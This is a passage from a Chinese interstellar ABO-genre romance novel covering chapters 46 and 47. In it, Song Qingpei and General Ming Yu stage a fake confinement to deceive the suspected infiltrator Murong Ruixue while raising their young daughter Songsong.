宋青佩愣了愣,智脑拥有更高级的智能,跟主人精神力绑定,一荣俱荣一损俱损,等级越高的智脑对操控者的要求越高,有的在主人离世后,甚至会强制陷入休眠。 “所以这一架其实是修不好了?” “对,就是因为修不好,我*们才称呼为鱼跃号。如果能够修复智脑,那它还有另一个名字——寂。” 正说话间,却见宋青佩不知被什么吸引般,已经冲动的闭上了眼睛,从缺口的导线处似乎在释放精神力查看。 “小心些,智脑会攻击精神力……” 话音未落,却见宋青佩倒退两步,跌坐在地上。 “看吧。”慕容瑞雪还以为宋青佩是被攻击了,笑道:“不过这个智脑因为主人死亡而陷入休眠。如果全盛时期,纵然你是”差点说出了SSS。慕容瑞雪忙改口道:”你别冲动,很危险的。” “……” 宋青佩回过神来,刚才她好像被什么神秘的力量吸引一般,情不自禁的靠近,此刻回过神来,不禁有些汗颜:“不好意思,我刚才一时冲动……” “没事没事,正常嘛,看到性能好的机甲总是忍不住,我也是这样。” 慕容瑞雪安抚了宋青佩几句,笑了笑,邀请宋青佩去驾驶舱看看。 有了刚才的经验,宋青佩眉头微微一皱,谨慎地问:“不会被智脑攻击吗?” 慕容瑞雪脸上挂着温和的笑容,耐心解释道:“放心,研究团队已经用了容家后裔的血在操纵系统,只要不用精神力试图唤醒它,还是很稳定的。” 宋青佩沉思片刻,权衡了一下利弊,最终还是决定先进去看看。 驾驶舱里各种仪器密密麻麻地排列着,灯光闪烁,科技感十足。 宋青佩刚站稳,慕容瑞雪进来的时候突然“哎哟”一声,整个人往前一扭。 宋青佩出于本能,下意识地伸手扶住了她,结果就感觉手背一阵刺痛,她低头一看,只见慕容瑞雪的指甲划破了她的手,一道血痕渗了出来。 “啊,对不起!”慕容瑞雪连忙说道,一边说着一边开始翻自己的口袋,“我记得好像带创可贴了的。” 还真被她翻出来一个,说着就要给宋青佩贴上。 宋青佩心里对慕容瑞雪本就有所戒备,微微侧身闪过,摇摇头说:“小事,做机械维修哪有不受伤的,不碍事。” 说完,她也没再多看,转身就朝着驾驶舱里面走去,继续查看那些仪器。 她的步伐沉稳,没有丝毫慌乱,仿佛刚才的小插曲并没有影响到她。 慕容瑞雪拿着创可贴愣在了原地,心里有些不是滋味,总觉得宋青佩对她疏远了许多,她把手指放在眼前看了看,上面似乎还沾着宋青佩的一点血迹,忍不住露出一抹意味深长的笑意。 而宋青佩也一直小心翼翼地留意着自己身体的状况,就怕慕容瑞雪刚才那一下有什么别的意图,过了好一会儿,发现自己身体确实没什么异常,这才稍微放下心来。 慕容瑞雪擦拭掉指尖的血,故作漫不经心的说:“青佩,上次在医院多亏了你照顾我,我还一直没好好谢谢你呢。” 宋青佩礼貌地笑了笑,“瑞雪姐,同事一场,就不要再旧事重提了。你要是真觉得过意不去,多教我一点维修机甲的知识就行。” 慕容瑞雪点点头,“那没问题,只要你好好学,以你的天赋,肯定很快就可以超过我的。” “你太谦虚了,我恐怕没有这个能力。” 之后两人在交流的过程中,宋青佩每隔一段时间就给明毓发一个消息,也没什么重要内容。 完事出来之后,宋青佩看着这**特的机甲,心想颂颂肯定喜欢。 “瑞雪姐,我可以拍个照吗?我想给女儿看看。” 慕容瑞雪露出遗憾的表情,“拍照不允许,这个机甲很特殊,我也是申请了权限才可以来维修的。不过我有它的模型,可以送给你。” 宋青佩跟着慕容瑞雪去拿模型,看到那个一米大的模型时,确实更加开心了。 慕容瑞雪介绍说:“这个模型可以拆开组装,很有意思的。” “瑞雪姐,太谢谢你了,我女儿肯定很喜欢。” 慕容瑞闻言看似随意地问:“明上将那里模型应该更多吧,难道都没给你女儿带回去?” 宋青佩抿了抿唇,没有说话。 明上将可不屑于模型,人家直接带着女儿上真机,还去1V5来着。 慕容瑞雪见宋青佩没回应,还以为明毓太忙,没工夫照顾女儿。 “青佩,今天没什么忙的了,要不,我陪你去接女儿?明上将忙,怕是……” “不用。”宋青佩下意识地回复,说完才觉得自己语气有点生硬。 她顿了顿,语气稍微缓和了一些说:“明天周末,今天一早颂颂就说让明毓提前去接她,所以改天吧。” 慕容瑞雪点点头,“那好吧,本来还想请你吃饭感谢你的。” “不用了这么客气,瑞雪姐,你帮我这么多,是我该感谢你。” 两人又互相客气了几句,这场试探算是暂时结束。 回去的路上,宋青佩正在开悬浮车,就看到明毓打来视频。 她点了自动驾驶,然后接起光脑视频。 明毓扫了一眼周围,愣了一下,问道:“你这是……下班了?” 宋青佩应了一声:“嗯,去接颂颂的路上。” “我也快到了。”明毓说完,转而问:“怎么样?有什么发现吗?” “没有,今天慕容瑞雪只带我去看了一架机甲。”宋青佩说。 “好,你路上小心。我们学校见。”明毓说完挂断了视频。 宋青佩这才想反应,后面应该是自己没再给明毓发消息,所以她才打电话来问一下,明明是关心她,偏偏做的这么别扭冷淡。 结果到了学院门口,发现明毓已经先接到了颂颂。 远远就看见颂颂抱着明毓的脖子拱了拱,撒娇的时候像个软包子一样可爱,两人的感情看起来已经很亲密了。 这时候颂颂也看到了宋青佩,连忙喊道:“妈咪,是妈妈来了~” 明毓也往这边看了过来,抱着颂颂走了过来,她正想开口说完,忽然有些混杂的信息素味道若有若无的从宋青佩身上传来,属于宋青佩的Alpha信息素味道她很熟悉,另一个Omega的信息素 她不由狠狠的皱起了眉头,宋青佩的信息素因为Omega有反应了,而今天一整天她都在跟慕容瑞雪在一起。 明毓一下子顿住了脚步,语气生硬道:“颂颂,今天你妈妈自己开了车,妈咪先带你回去,我们走吧。” 宋青佩:??!!! 有自动驾驶好不好?用得着这么蹩脚的理由? 宋青佩忙追过去:“颂颂,妈妈今天带回来很漂亮的模型,回去给看。” 结果还没到跟前,明毓突然抱着颂颂后退两步,没好气道:“你离我和颂颂远点。” 宋青佩脚下一顿:“这又是怎么了?” 第46章 还挺好哄 宋青佩一头雾水,完全不明白发生了什么。 只见明毓抱着颂颂大步走向另一辆悬浮车。宋青佩下意识地想要追上去,却被明毓一个冰冷的眼神制止,紧接着,几个高大的保镖拦住了她。 “你什么意思?”宋青佩皱眉,“不是说好一起接女儿吗?你拦着我干什么?” 明毓的眼神薄唇轻启,吐出四个字:“不干不净。” 说完,她关上了车门。 宋青佩气得几乎要炸了。 她完全不明白明毓这莫名其妙的举动。不让她见女儿就直说好了,何必这样甩脸子?可惜这里是学院门口,接孩子的人太多,她不好发作,只能强压怒火,回到自己的悬浮车,朝别墅驶去。 然而,到了别墅门口,她再次被拦住了。 宋青佩气得直接拨通了明毓的光脑:“明毓,你到底想干什么?” 明毓在电话那头冷冷地问:“你自己做了什么,心里没数?” 宋青佩一头雾水:“我今天就修了那架叫鱼跃号的机甲,没干别的!我不是一直在给你发消息吗?” 明毓冷笑一声,嘲讽道:“那还真是难为你和别的Omega在一起,还要抽空给我发消息。” “你又犯什么毛病?”宋青佩满心疑惑,“我今天就接触了慕容瑞雪,没有别人。” 明毓又是一声冷笑,仿佛在说:你还想有别人? 宋青佩更加不解了。 去试探慕容瑞雪,不是和明毓商量好的吗?怎么现在又变成这样了? 就在这时,颂颂突然凑到光脑前,奶声奶气地喊道:“妈妈,你赶紧回来啊,我要看你的模型!” “没什么好看的。”明毓立刻打断颂颂,“明天妈咪带你去坐真的战斗机甲。” 颂颂却不乐意了,小嘴一撇:“妈咪可以带我去坐战斗机甲,但妈妈的战斗机甲可以天天陪着我!” 明毓面对颂颂,怎么也冷不起脸来,无奈地把她抱在腿上:“可是……” 颂颂看到宋青佩脸上没有笑意,明毓也不怎么高兴,脑袋一歪:“妈咪,你是不是又惹妈妈生气了?吵架了吗?” 又…… 怎么在颂颂眼里,总是她惹宋青佩生气? “没有,只是你妈妈脏了了,得去洗洗。”明毓说着,眸色凉凉地看向宋青佩。 宋青佩还是没明白明毓话里的意思。 正想着,一辆车缓缓停在门口。车上下来一位穿着白大褂的医生,礼貌地说道:“您好,是明上将让我来看看您的身体。” 宋青佩皱了皱眉,刚想说“我的身体没问题”,话到嘴边,她突然想到了什么,看了看自己的手,伸出去对医生说:“我今天,只有这一处伤口。” 医生用手腕上的光脑扫描了一下她的伤口,说道:“这里残留了Omega信息素,您没有被影响,实在是万幸。” 宋青佩愣了愣,心里琢磨着,所以刚才明毓是闻到了这个?那为什么她没感觉? 她赶忙问:“这么大量的信息素,是怎么来的?” 医生解释道:“对方与您有过血液接触就会有。但如果对方也没有不适感,那就是您的血液并没有沾染到对方。” “可是我自己为什么没察觉?”宋青佩疑惑。 按理说,这么大量的Omega信息素,她至少有被引诱进入易感期的不适。 医生笑了笑:“检测到您十二小时以内打过强效抑制剂。加上您对信息素……不太敏感,所以可能还没反应。” 宋青佩感觉医生想说:一个信息素无能的人竟然打抑制剂,还真是奇妙!但碍于某些人的面子,他没说出口。 宋青佩自然不会自讨没趣,只是又气又觉得好笑。难不成明毓是吃醋了?只是慕容瑞雪是有意还是无意?目的又是什么? 正思考着,突然手背一痛,发现医生拿出一个透明的八爪鱼似的生物贴在她手背上。 “宋小姐忍一忍,这个可以吸收Omega信息素,会有点刺痛。”医生说道。 何止是有点刺痛,宋青佩感觉每一根血管都像被抽干了空气一样痛苦。她想动,可这玩意还有点麻痹效果,她的手酸软无力,动弹不得。 那八爪鱼似的生物紧紧吸附在她的手背上,像是在贪婪地吸食着什么。 宋青佩额头上布满了细密的汗珠,紧咬着牙关,努力不让自己发出痛苦的声音。 弄完之后,她只觉得自己身体像是被掏空了一样,困得要命。连站着都有些摇摇欲坠,她扶着旁边的车子,大口大口地喘着粗气。 直到医生说好了,带着那奇怪的生物离开了。 医生走后,门禁打开了。 宋青佩一回来,颂颂就从明毓腿上往下跳,嘴里喊着:“妈妈,妈妈!” 明毓却眼疾手快抱住她,说道:“等你妈妈洗了澡,再下来。” 宋青佩点点头,声音有些虚弱:“玩具在车上,已经用了信息素祛除喷雾,等几分钟让苏管家帮颂颂拿出来。” 说完,她脚步虚浮地上楼,整个人疲惫不堪。 她走进房间,本想洗澡,结果看到床就拔不动腿,直接栽倒在床上。 明毓在楼下陪着颂颂,可是都吃过晚饭了,宋青佩还没下来。 颂颂却一直嚷嚷着要看模型。 明毓耐心地说:“既然是妈妈送你的,那就等你妈妈下来一起。” 颂颂眨着大眼睛,满是好奇:“那就打开看一眼好不好?” 明毓看着女儿那期待的眼神,无奈地说:“那你等下,我去叫你妈妈。” 她心里有种不好的预感,打开门一看,宋青佩就那么栽倒在床上。 明毓立马走过去,用力扯了一下宋青佩,急切地问:“怎么了?” 这一拉不要紧,却发现宋青佩烫得很。 明毓脸色一沉,难道刚才的治疗没有效果,宋青佩进入易感期了? 并没有因为她的信息素而进入过易感期,却因为慕容瑞雪的?可为什么空气中没有信息素的味道,好奇怪。 就在她迟疑的时候,宋青佩感受到她手上的冰凉,迷迷糊糊中直接把人扯了下来,抱得紧紧的。 “宋青佩,你清醒点。我帮你叫医生。” 明毓不需要宋青佩因为别人的信息素而变得敏感。 可是宋青佩的信息素轰然炸开,弥漫在屋子里。 强大的信息素气息瞬间勾动了明毓的信息素,明毓整个人软得一塌糊涂,根本没办法推开宋青佩。 就在这时,她听到了轻轻的敲门声:“妈咪,妈咪醒了吗?” 幸亏进来的时候锁了门,不然颂颂怕是能直接推门进来。 明毓咬了咬牙,一狠心直接给了宋青佩一巴掌。 这一巴掌让宋青佩清醒了一瞬,她立马拿了抑制剂冲进卫生间。 “嗯。”明毓这才回应颂颂。她声音暗哑,努力让自己的声音听起来正常些,“颂颂在楼下等等,妈妈穿衣服,很快。” 颂颂这才乖巧地跑下了楼。 而明毓自己也难受得很,她的身体因为被勾动的信息素而微微颤抖着。 宋青佩冲了凉出来,看着明毓阴沉的脸,心中满是愧疚,轻声道歉:“我今天还是大意了。不知道是不是慕容瑞雪的试探,那接下来的戏怎么演?” 说完话,看到明毓还是不说话,她走过去才发现明毓耳朵红得很,明显又被她刚才信息素外泄给挑到了发热期。 “是我的错。”宋青佩说,“我帮你……” “不用。”明毓语气生硬地打断宋青佩。 她强撑着起身,摇摇晃晃出门,回了自己屋子,手有些颤抖地拿起抑制剂,给自己打了一针。 她决不允许,决不允许宋青佩因为别的Omega进入易感期之后,对她进行临时标记! 慕容瑞雪,我记着你了! 过了一会儿,明毓感觉身体的燥热渐渐退去,整理了一下衣服,走出房间。 这时颂颂已经拆了模型,玩得不亦乐乎。 为了不打扰她的专注力,明毓和宋青佩就在不远处看着,没有打扰。 宋青佩稍微靠近明毓一点:“今天的事情我已经很小心了,可是不知道为什么,通过血液她可以把信息素留在我体内。” 明毓刚才打了抑制剂之后也冷静地想过,也没想明白。 于是摇摇头:“从来没听说过血液会留信息素这种事情,那么多失血过多的星域战士被输了血,也没这个问题。” “难道是……慕容瑞雪的血液比较特殊?”宋青佩只能想到这里。 明毓挑眉:“除了这个,没有任何异常?你还是先说说你今天的行程吧。” 宋青佩事无巨细地说了,从研究鱼跃号,中午午休也是简单吃了饭继续工作。她沉思道:“和昨天一样,没有特别的地方。如果真是她做的手脚,目的是什么?只是单纯的离间我们?” 明毓皱了皱眉,也猜不出所以然来。 想到她刚才吃醋的反应,宋青佩不由故意问:“如果真的被离间成功,那按照明上将以往的性子,会怎么做?把我关到禁闭舱吗?” 说完,明毓的脸刷的就白了。近乎应激道:“你有必要一直翻旧账吗?你知道我现在不会的,我根本就不可能再这么伤害你,你到底要怎样才肯相信我” 没想到她反应这么大,宋宋青佩愣了一下,无奈道:“我不是这个意思,我们不是为了让慕容瑞雪相信嘛,所以” 反应过来的明毓这才松了口气,有了嘲弄的心情,“所以,你现在应该被我关到禁闭舱去。” 宋青佩抿了抿唇,她其实不怎么想去,无奈的看着明毓。 明毓心底还有气呢,哼笑一声,不着痕迹地挑了挑眉,一时间竟然对视起来。 颂颂玩到一半转过头来,就看到妈妈和妈咪的眼神之间好像拉丝似的。 哦,这就是同学小朋友之间说的那个,对视对视就要亲上去的赶脚? “亲上去,亲上去,亲上去!” 颂颂张着嘴不发出声音,小声嘀咕着,还拍着手。 两人愣住,齐齐看向颂颂,刚才尴尬的气氛一下就被打破了。 “妈妈妈咪,你们看我干什么,亲上去呀~” 颂颂天真无邪地喊着:“我学校小朋友都说了,对视五秒,就要亲上去了哦~超过五秒,可就不是真爱了。” 明毓闻言皱眉,学校里都教的什么? 赶紧三步并两步过去抱起颂颂,转移话题:“今天幼儿园还有没有什么好玩的事情。” 颂颂点点头:“我们老师,会吃小孩哦。” 明毓皱眉:“吃小孩?”听起来有点匪夷所思。 “对。”颂颂用力点头,随后抬起胳膊,“自己胳膊都被老师吃红了。” 一看到颂颂胳膊真的有红痕,明毓瞬间周身散发冷气,“我们现在去问问学校究竟是怎么一回事。” “关心则乱,先问清楚怎么回事。”宋青佩阻止了明毓,而后接着问颂颂,“那你们今天还发生了什么有趣的事情啊?” 明毓完全不明白宋青佩怎么还能这么淡定:“你问颂颂这有的没的做什么,她在学校被欺负了,你竟然还……” “明毓。”宋青佩无奈叹气,“你是不是忘了你什么身份啊,老师怎么敢欺负你的女儿?” 她说的确实有道理,但明毓还是坚持道:“可是颂颂这么小,她肯定不会说谎的。” 宋青佩笑了笑:“但是她会胡说啊。” 明毓面色古怪,这方面是她知识盲区,她从没带过小孩。 果然,颂颂开始说:“吃的是章鱼小丸子,同学说见过很大很大的,有房子那么大的章鱼,会吃人。” “我说我没见过章鱼,但我见过机甲,几个房子那么大的机甲。然后我比划起来,把碗都打翻了。我俩的胳膊都被碰红了。” 闻言,明毓抿了抿唇,没想过颂颂的逻辑思维是这样的。 这一瞬间,她很羡慕宋青佩这样了解颂颂,因为颂颂说完,宋青佩又问了两个问题,一下就引导出整件事情的始末。 原来老师是帮忙‘呼呼’了一下。 但因为这个老师嘴比较大,所以同学说老师会吃人,她也就听的信以为真。 颂颂玩了机甲,又手舞足蹈说了很多话,很快就累了。 明毓怀里睡着了,嘴里还嘟囔着:“妈妈妈咪没有亲亲,妈妈妈咪什么时候像其她小朋友的妈妈妈咪一样亲亲,这样很快我也有小妹妹了……” 听得宋青佩和明毓尴尬不已。 见到颂颂睡熟了,宋青佩说:“我抱回去吧。” 明毓摇头:“我自己来。” 但她一起身,颂颂就不安地皱眉,蛄蛹着似乎很不舒服。 没办法,还是给了宋青佩。 明毓跟在宋青佩后面,看着宋青佩把颂颂放到床上,压了靠枕,安抚颂颂睡着。 这一切,本都该是她做的。缺失的这几年,似乎永远无法弥补回来。 宋青佩哄完颂颂,回头看到明毓在思索问题,就没有打扰,自己回房间。 明毓思绪复杂,也没反应过来,宋青佩往前走她就跟上。 等回过神,就已到了宋青佩的房间,瞬间有些窘迫,虽面上不显,但呼吸已稍稍凌乱。 她竟不受控制,毫无防备地跟着宋青佩来到她房间。 宋青佩也是有些诧异道:“你今天打算是洗澡都在我房间吗?” “你想多了。”明毓冷哼一声,“我可不想跟和别人信息素有染的人用一个浴室。” “呵呵……那你盯我这么紧,是吃醋了?” 吃醋?明毓呼吸一凝,却不得不承认,她今天就是吃醋了。 见她沉默不语,宋青佩只当她默认了,上将大人虽然一向嘴硬,但从不撒谎,宋青佩忽然有些想笑。 “呵呵,看来我们不得不假戏真做了。”明毓嘴硬的转身就走,边走边说,“明早睡醒来就让你去禁闭室呆着,还得让很多人都看到,好让慕容瑞雪觉得离间成功,对你有所动作。” “……”还没笑完的宋青佩瞬间蔫了,一脸苦瓜样子。 而出了门的明毓,长舒一口气,眸色复杂。 今天晚上,一定不会再去找宋青佩,必须给她点教训,明毓如是麻痹自己。 但是第二天一大早,宋青佩醒来,还是下意识地扒开了明毓搭在腰上,箍得紧紧的手臂。 也不知道她是什么时候来的,但她似乎也已经习惯了。 像到刚带走女儿,与她分开的日子,也戒断了痛苦了不少时间,这一次又不知道会怎样。 宋青佩一动,明毓也醒了,她起身背过身去:“等会林中尉会带你去禁闭舱,不过是走个过场,到时候你知道该和慕容瑞雪怎么讲。” 宋青佩吃完早餐就被林中尉带去了禁闭舱,然后扫描了一个虚拟人影后,她就从禁闭舱的暗门出去,直接被秘密送回了家。 结果回来之后,苏管家却说,明毓带着小小姐去上课了。 “上课?”宋青佩皱眉:“可是今天是休息日,上什么课?” 苏管家淡淡一笑,解释道:“夫人,明家的孩子,从小就要开始接受全方位的精英培养。小小姐如今已经快五岁了,已经落后很多了。” 知道豪门辛苦,不知道这么辛苦:“都学习什么?” “星际社交礼仪,星际通用语言,布阵启蒙,机甲启蒙,乐理……” “这么多?”宋青佩诧异,说的这些,好些都是她不会的。 苏管家点头:“在这个阶层,孩子们需要早早积累知识,为未来继承家族事业或者在星际社会崭露头角做准备。” 宋青佩眉头拧成了个疙瘩,满脸担忧:“可她还那么小,怎么能行?这么多繁重的课程……。” 苏管家微微摇头,眼中满是感慨:“您有所不知,小姐刚回到明家的时候,从小也是这么过来的。就是因为启蒙完,所以付出了比别人更多的努力。” “生在明家,享受着家族带来的无上荣耀,就得接受这份严苛的教育。” 宋青佩沉默了,她深知明毓一路走来的艰辛,不然也不会被植入思想钢印,如今的辉煌背后,是数不清的汗水与泪水。可一想到颂颂那稚嫩的脸庞,她还是满心不忍。 “行,苏管家,我需要一点食材……” 她亲自走进厨房,想着做顿丰盛的晚餐,好好犒劳一下颂颂。 可是下午饭点都过了,还不见明毓和颂颂回来。 要不自己这会儿还是被“关在禁闭舱”的状态,她早就出去找明毓和颂颂了。 好不容易,等到心都快焦干了,明毓才抱着颂颂回来。 颂颂一看到宋青佩,眼睛瞬间亮了,撒丫子就跑到了宋青佩面前。 带着哭腔喊道:“呜呜呜,妈妈抱抱,颂颂不要休息了,颂颂要去幼儿园!” 宋青佩赶忙蹲下,把颂颂紧紧搂在怀里安抚道:“颂颂乖,告诉妈妈,怎么啦?” “那些课好难,而且一整天都不能玩,呜呜呜,好累呀。” 宋青佩看向明毓,眼神里带着一丝埋怨:“咱们能不能循序渐进……” “现在不吃苦,以后会有更多的苦吃。以她的身份必须尽早培养,你现在替她求情,以后的她就会……” “明毓。”宋青佩忽然打断了她,一脸认真道:“你有没有想过,不知不觉中,你已经把你奶奶对你的教育方式,用在了颂颂的身上。你问问自己,从小到大你真的轻松快乐过吗” 明毓愕然的瞪大了眼睛,茫然的看向宋青佩:“我只是不想自己吃过的苦,再让颂颂吃一遍,所以才会” “我明白,但是没必要把颂颂逼的那么紧。” 宋青佩叹了口气,看向失魂落魄的明毓,又转而用轻松地语气道:“况且,颂颂有你这么厉害的妈咪为她保驾护航,还能吃什么苦呢,你真的不用这么焦虑。” “你真的这么想吗?”明毓似乎还没从打击中回过神来。 “当然,你可是联邦最年轻的上将啊,还有谁能比你更优秀呢。” 一句话,夸得明毓不由弯起了嘴角。 宋青佩不由暗暗感叹,还挺好忽悠,啊不,是好哄。 第47章 情愫渐生 宋青佩本以为明毓彻底想通了,要徐徐图之,给颂颂放个假。 谁知道她话锋一转:“我明白了,那就明天早上让颂颂睡个懒觉,上午带她去星际博物馆逛逛,下午你还能陪她玩会儿,你觉得如何?” 说是询问,可那语气干脆利索,哪里给了宋青佩商量的机会,宋青佩只能无奈应下。 第二天一大早,宋青佩收拾一番,下楼,就发现两人已经到了门口,看意思压根没有等她的想法。 “你们这……计划里没我?” 明毓回头,嘴角微勾:“可惜了,你现在应该还在‘禁闭舱’里关着呢!” 宋青佩脸瞬间垮了下来,怪不得昨天说下午让她可以陪一会颂颂,原来上午压根去不了! 没办法,她只能无奈地回了房间,继续补觉。 ***** 明毓带着颂颂踏入澜星星际博物馆,一进去,各式各样奇形怪状的星际标本,直接把颂颂惊得眼睛瞪得溜圆。 她兴奋得小脸红扑扑的,赶忙掏出光脑,对着那些前所未见的外星生物和古老的星际展品,似乎想要拍照。 明毓赶忙上前叮嘱道:“颂颂,外馆的还可以拍照,但到了里面红馆就不能拍照了。” “为什么呀妈咪”颂颂不解。 明毓皱了皱眉,不知道怎么解释,那里面都记载着澜星的耻辱,很悲烈,不适合拍照。 遂又想到,现在也不适合给颂颂看,就说:“因为今天来不及了。” “那就是现在还可以拍。” 颂颂拍完就迫不及待地一股脑发给宋青佩。 没一会儿,更是忍不住拨通了宋青佩的光脑视频,一张小脸兴奋得发光:“妈妈,你看真的有房子那么大的章鱼!妈咪说这不是澜星的产物,是别的星球的。我长大了,也要穿梭星际!” “好,很好,不错,妈妈也是第一次见到,长见识了。” 宋青佩瞧着屏幕里女儿那高兴得不行的模样,眼里满是宠溺,两人好奇地探讨着,宋青佩总能找到颂颂奇奇怪怪的点给予回应。 看着颂颂什么事儿都跟宋青佩分享,明明她带颂颂出来的,可颂颂聊天沟通最多的还是宋青佩,明毓心里莫名泛起一股酸意。 一旁的苏管家瞧在眼里,笑着轻声说道:“小姐,说真的,宋小姐把小小姐养得真好。虽说以前是单亲家庭,可宋小姐给足了颂颂爱,这才养出这么阳光开朗的性格。” 明毓抬眼望向蹦蹦跳跳的颂颂,那浑身洋溢着阳光的模样,可不正是自己曾经梦寐以求,却从未拥有过的。 霎那间,她的思绪飘回到失忆的那两年,那时候宋青佩把她照顾得很好,似乎还长胖了一些,宋青佩甚至会在晚上,凑近她耳边有些无赖的邀功。 梦梦,你还是胖些好看,这里好像都大了一些…… 她下意识地低头看了一眼胸前,明毓猛地回过神,脸“唰”的一下红到了耳根子,暗自恼怒:她都胡思乱想的什么…… 想到宋青佩现在易感期来了也不愿意捧她,明毓越发不高兴,直接恼羞成怒的几步上前凑到了镜头前。 宋青佩正和颂颂聊得火热,冷不丁屏幕里闪过明毓那张明艳的脸,紧接着就听到冷冰冰的一句:有什么话回去再说,别耽误颂颂看展览。 接着屏幕一黑,什么都没了。 宋青佩当即莫名其妙,这脾气怎么这么阴晴不定,明明早上走的时候还好好的。 母女两人逛了一上午,中午的时候按时回去。 回家路上,明芮打来电话:“表姐,我妈让我喊你晚上去奶奶家吃晚饭。” 明毓眉头立马皱了起来,出了上次的事情后,她心里一直有个疙瘩,心里不情愿,直截了当地说:“有事去不了。” 顿了顿,又补充道:“宋青佩被关禁闭了。” 明芮八卦之火一下就燃起来了,连忙追问:“怎么回事啊?” 明毓便把慕容瑞雪试探的事儿简单说了一遍。 明芮听完,气得直嚷嚷:“她们还不死心呐!可惜我还没复职,不然高低得帮你好好查查。” “过两天你复职了,帮我把去奶奶家吃饭这事儿推了。”明毓回答。 明芮立马哭丧着脸说:“我也不想去啊,可我妈非让我这么说……” 明毓心里就明白了,看来这是老太太的意思。 “总之,你自己看着办。” 挂了电话,明毓心里有些烦躁。不知道怎么回事,最近越来越情绪化。 但是颂颂却拱到她怀里找了个舒服的姿势睡觉,嘴里还嘟囔着:“妈咪,妈咪一起睡……” 小包子软哝软语,反倒是让她内心出奇的平静。 她也有她想珍视,也珍视她的家人了,总归和以前不一样了。 下午就由着颂颂性子玩,去游泳,难得的亲子时光。 但是两人玩着玩着,看到明毓披着纱巾坐在不远处在用光脑处理公务。 明明穿的常服,却还是给人一种生人勿近的清冷感,如同高山仰止。 下一瞬,颂颂就举着水枪,“biubiubiu” 不小心射在了明毓的头发上。 颂颂还嚷嚷着:“妈咪,你看我厉不厉害,以后我能不能陪你一起去打怪兽!八爪怪兽那么多手,妈咪一个人*打不过来,我和你一起” 明毓唇角一勾,关了光脑,起身抱起来颂颂放在自己怀里:“要这样子瞄准哦” 可颂颂还是故意把水滋在明毓身上,最终让明毓加入战场,母女三人玩得不亦乐乎。 她微微一笑:“好久没看到小姐这么开心了!” 晚上,宋青佩再次回到了禁闭舱,然后由林中尉送回来,为了逼真,还特意把头发弄得乱糟糟邋里邋遢的。 第二天,宋青佩刚到蓝海,一下车,就看到了慕容瑞雪。 慕容瑞雪站在门口,似乎是在等她。 她一见宋青佩,眉头微微一皱,关切地问道:“青佩,你脸色看起来不太好。” 宋青佩叹了口气,摆摆手道:“没事,可能是最近事情有点多,有点累。” 慕容瑞雪听了,脸上露出一丝歉意,轻声说道:“抱歉,其实我听说了……” “对不起,那天也是不小心伤到了你,我们只不过是同事之间的相处而已,没想到明上将她……” 闻言,宋青佩故意表现得很颓然,低头苦笑了一下,语气里带着几分无奈。 “不管怎么样,她都是颂颂的妈妈,有些事情……我也只能忍了。” 她说完,抬头看了一眼慕容瑞雪,发现对方的眸色深邃,似乎藏着什么心思。 宋青佩刚想张嘴说点什么,慕容瑞雪却先开口了。 “明上将到底是上位者,她的思维方式和我们不一样。” 慕容瑞雪的语气里带着一丝淡淡的不满,“我们不过是工作接触,她也太上纲上线了。当然,我不是非要说她坏话,只是……青佩,现在看来,你们也不是非常合适。” “可是……为了孩子我也没办法。”宋青佩故意迟疑道。 “那你呢?青佩,谁照顾你?我是真的心疼你。” 她知道慕容瑞雪会有动作,但没想到对方会像上一次一样故技重施,仅仅就是为了离间两人感情?不可能这么简单吧? 宋青佩脑子里飞快地思索着,脸上却保持着愣怔的表情。 慕容瑞雪见她没反应,以为她还在犹豫,便温柔地说:“青佩,你不能只为孩子考虑,也要多想想自己啊。” 宋青佩沉默了好一会儿,才缓缓开口。“谢谢你,瑞雪姐。只是眼下……我……” 慕容瑞雪笑了笑,“我明白。先工作吧,这种事情,急不来。” 接下来的工作时间里,宋青佩一直保持着警惕,但慕容瑞雪却没有再做出什么出格的事情,反倒让她因为戒备而有些心神不宁。 下班后,慕容瑞雪还要开会,宋青佩便一个人离开了公司。 她走到停车场,正准备上车,忽然看到车子旁边站着一个女人。 那女人一身制服,身材高挑,头发挽起,五官精致中带着一丝锐利,整个人散发出一种干练的气质。 宋青佩愣了一下,对方却已经走了过来,步伐轻盈,显然是练过的样子。 “你好,宋青佩。”女人微微一笑,声音清冷却不失温和,“我叫乌澜,调查局的。” 宋青佩心里一惊,乌澜?这不就是明毓提过的调查局局长吗?听说阴险狡诈无所不用其极,她怎么会直接找上自己? 乌澜似乎看出了她的疑惑,解释道:“我是来了解一下慕容瑞雪的事情,想问问你最近有没有什么进展。放心,我已经与明上将说过,知道你的情况。” 宋青佩不知真假。 就看到乌澜红唇轻启,无声地吐出‘黑鸢花’三个字。 宋青佩这才信了,点了点头,简单地把前两天的事情说了一遍,最后补充道:“目前还没有什么大的进展,慕容瑞雪的行为有些捉摸不透,我也觉得奇怪。” 乌澜听了,轻轻点了点头,“那个组织里的人都不是等闲之辈,慕容瑞雪想必不会轻易露出马脚,这事急不得。反倒是你,还是要小心一点,不要被她看出破绽。” 她说话轻柔,言辞关切。 宋青佩心里不禁有些奇怪,这位调查局局长似乎并不像明毓说的那样阴险深沉,反倒给她一种莫名的亲近感。 她正想着,乌澜忽然提议:“要不,我们找个地方吃饭,边吃边聊?” 宋青佩鬼使神差地点了点头,等反应过来的时候,才知道自己已经答应了。 她让悬浮车自动驾驶去了餐厅,自己则坐上了乌澜的副驾。 路上,乌澜随口问:“明上将跟女儿相处得怎么样?很难想象平日里杀伐果断的她对待小孩子是什么样的。” 宋青佩笑了笑,回答道:“明上将虽然性子冷淡,但对女儿很好,颂颂也很喜欢她。” 乌澜似乎对明毓的事情很感兴趣,又问起了当初在废弃星的事情。 宋青佩犹豫了一下,说道:“这些事情,还是去问明毓本人吧,我不太方便多说。” 乌澜听了,轻笑了一声:“你倒是挺维护她的。” 宋青佩没有接话,只是笑了笑。 到了餐厅,乌澜点了几道菜,随后问:“你在蓝海工作得怎么样?还适应吗?” 宋青佩点了点头,语气轻松:“还不错,是我喜欢的工作。” 又聊了点慕容瑞雪的事情,乌澜与宋青佩用光脑交换了星际编号,“有事情可以联系明上将,但也可以联系我。” “好的,谢谢你乌局长。” 两人聊天的氛围相当轻松自在,这位调查局局长并没有想象中那么难以接近,反倒让人觉得亲切。 吃过饭,宋青佩走后。 乌澜走到车边,却没有上车,而是径直往停车场深处走去,脚步轻缓却带着一股不容忽视的压迫感。 她停在一个电梯口,冷冷地喊了一声:“出来。” 四周一片寂静,没有任何动静。 乌澜嘴角勾起一抹冷笑,声音里带着几分讥讽:“战南笙,你真以为你跟踪的把戏能骗过我?” 话音刚落,角落里传来一阵轻微的脚步声。 